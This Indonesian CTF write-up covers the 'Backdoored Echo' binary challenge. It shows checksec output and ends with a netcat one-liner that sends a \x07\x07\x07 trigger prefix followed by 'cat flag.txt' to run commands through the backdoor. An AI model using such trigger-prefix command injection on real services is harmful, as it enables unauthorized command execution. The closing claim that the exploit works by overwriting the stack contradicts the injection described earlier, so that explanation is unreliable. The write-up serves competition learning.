[Cyber Jawara Final] Backdoored Echo (100 Poin)
Masalah
Diberikan berkas backdoored-echo, temukan kelemahan dan eksploitasi berkas tersebut!
Penyelesaian
Pengumpulan Informasi
Lakukan pemeriksaan binary dengan menggunakan checksec, periksa jenis berkas dengan file dan jalankan binary secara normal serta dekompilasi kode dengan IDA.
$ file backdoored-echo
backdoored-echo: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0d7087e46a2e74ede9f58d5415f6f5173d808e52, stripped
$ checksec backdoored-echo
[*] '/.../backdoored-echo'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Dekompilasi
Poin-poin informasi yang didapatkan antara lain:
- Binary diproteksi.
- Jenis berkasnya Linux 64 bit.
- Terdapat kelemahan pada struktur kondisi dengan injeksi
\x07\x07\x07.
Identifikasi Kelemahan
Berdasarkan pengumpulan informasi, terdapat kelemahan bahwa binary dapat dieksploitasi dengan mengisi buffer diatas, misal dengan perintah cat flag.txt.
Akhir
Untuk eksploitasi bisa menggunakan script dibawah ini.
$ python -c "print '\x07\x07\x07cat flag.txt'" | nc localhost 31337
Simpulan
Eksploitasi binary dengan menimpa stack agar mendapatkan nilai variabel yang diinginkan.